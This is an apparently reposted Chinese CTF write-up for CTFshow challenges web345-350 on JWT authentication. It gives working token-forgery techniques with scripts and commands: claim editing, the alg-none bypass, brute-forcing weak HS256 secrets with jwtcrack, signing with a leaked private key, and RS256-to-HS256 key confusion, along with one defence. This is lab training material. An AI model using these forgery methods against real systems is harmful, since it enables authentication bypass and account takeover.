CTFshow刷题日记-WEB-JWT(web345-350)

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-JWT(web345-350)相关的知识,希望对你有一定的参考价值。

JWT

JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔

Header
Payload
Signature

header示例

{
  'typ': 'JWT',
  'alg': 'HS256'
}

# typ:声明类型
# alg:声明加密的算法 通常直接使用 HMAC SHA256
需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的

payload示例

{
  "sub": "1234567890",
  "name": "John Doe"
}

标准中注册的声明 (建议但不强制使用) 
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

signature

是一个签证信息,这个签证信息由三部分组成

  • header (base64后的)
  • payload (base64后的)
  • secret

注意:secret是保存在服务器端的,JWT的签发生成也是在服务器端的,secret就是用来进行JWT的签发和JWT的验证

更多信息:链接

web345-简单改值

F12 看源码提示 /admin 页面

要注意使用 url 访问网页时
/admin	表示访问 admin.php 文件
/admin/	表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/

在浏览器 application 中可以看到 cookie,https://jwt.io/ 解密,如果离线比赛没有网,可以直接按 . 点号分块 base64 解密

既然没有加密修改 sub(jwt所面向的用户)为 admin,再 base64 加密

将 cookie 复制到 value 中

web346-修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验

将alg修改为none后,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’)然后提交到服务端即可

将 Header 中的加密算法改为 none

import base64
def jwtBase64Encode(x):
    return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1632212749,"exp":1632219949,"nbf":1632212749,"sub":"admin",' \\
          '"jti":"bcad514174d6cf1010c3320a61b59d62"} '

print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

将生成的 payload 复制到 cookie 中,访问 /admin/

web347-弱口令爆破

提示:弱口令

去 jwt.io 解密,hs256 加密,而且改为 none 不可以

弱口令最简单的方法就是猜,不好猜的话效率很低,可以上爆破

使用工具 jwt-cracker

root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4NjE3MywiZXhwIjoxNjMyMjkzMzczLCJuYmYiOjE2MzIyODYxNzMsInN1YiI6InVzZXIiLCJqdGkiOiJlY2NhNmIwODU1ZmQ4ZjU1ZTQ5NmFjZTUxOTliMjg0NiJ9.OwRR768OZk4gvd9zOjsagp0C2aZwrLHMpk2PR8CpKjI

爆破的话要有一段时间,密码是 123456

将密码填写并修改 sub 的值,左边会自动生成 jwt 字符串,复制粘贴到浏览器 cookie 中,访问 /admin/

jwt 字符串生成可以使用脚本

# python2
import jwt
payload = {
    "iss": "admin",
    "iat": 1610777706,
    "exp": 1610784906,
    "nbf": 1610777706,
    "sub": "admin",
    "jti": "a4b369d0b43dd96bcf980881e3f0d5ea"
}
secret = '123456'
print(jwt.encode(payload, secret, algorithm='HS256'))

web348-工具爆破secret

提示:爆破

上题的加强版,上工具 jwt-cracker 爆破就完了,这次直接秒出 secret

root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4Njk4MywiZXhwIjoxNjMyMjk0MTgzLCJuYmYiOjE2MzIyODY5ODMsInN1YiI6InVzZXIiLCJqdGkiOiJhZDljMjEzOWVkNjgwYzUxYmQ2MWQ3YWFlMmVmNDg4ZCJ9.ksxetPa5ZjFXerEkoyhtig1gczu0PDY2QOOyGl_OxFM
Secret is "aaab"  

生成 jwt 字符串,访问 /admin/ 得到 flag

web349-公私钥解密

有一个 js 文件

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

同一路由,get 访问设置 cookie,post 访问检验 cookie,user == admin 得到 flag

jwt.io 去解密 jwt 因为采用的加密算法 RS256 为非对称加密,需要 public key 和 private key,利用私钥生成 jwt ,利用公钥解密 jwt

js 文件中也是读取了 private.key(私钥)文件才生成的 jwt,使用使用 dirsearch 扫目录找私钥文件,果不其然就在当前目录发现 private.key

既然是私钥生成 jwt ,公钥解密 jwt,只要有私钥然后自己重新生成即可

访问 private.key,下载文件

三种方法生成伪造的 jwt 字符串

  1. 访问 public.key 和 private.key 在 jwt.io 生成新的字符串

  2. 已知私钥然后自己重新生成 jwt 字符串(我这边报错为解决。。)

    # python2
    import jwt
    public = open('private.key', 'r').read()
    payload={"user":"admin"}
    print(jwt.encode(payload, key=public, algorithm='RS256'))
    
  3. 和方法2一样,nodejs 实现,运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save,有报错看这篇链接)

    const jwt = require('jsonwebtoken');
    var fs = require('fs');
    var privateKey = fs.readFileSync('private.key');
    var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
    console.log(token)
    

post 访问页面得到 flag

web350-将 RS256 算法改为 HS256

有源码包,源码中 public 目录下存在 public.key 文件

将 RS256 算法改为 HS256(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名

由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名

这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

访问页面拿到 cookie,是 hs256 加密

js 代码

// yu22x师傅
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

运行得到 payload

node jwt.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MzIzMDE1MTB9.KgkWpURzcUQfETJXh2h5UdDtiQmX3Gbg50vp-B4gs6w

替换原来的 cookie:auth post 访问得到 flag

防御方法:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法

补充:破解HS256(对称加密算法)密钥

如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。

然后,用蛮力方式对密钥进行猜解,具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。

此外,我们也可以使用PyJWT或John Ripper进行破解测试。

附录:相关工具


PyJWT库具体地址为:https://github.com/jpadilla/pyjwt。

>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}

参考链接

https://www.cnblogs.com/dliv3/p/7450057.html

以上是关于CTFshow刷题日记-WEB-JWT(web345-350)的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-命令执行下55-77

CTFshow刷题日记-WEB-PHP特性(下篇123-150)

CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入SSRF打MySQLSSRF打FastCGISSRF文件读取

CTFshow刷题日记-WEB-文件包含

CTFshow刷题日记-WEB-爆破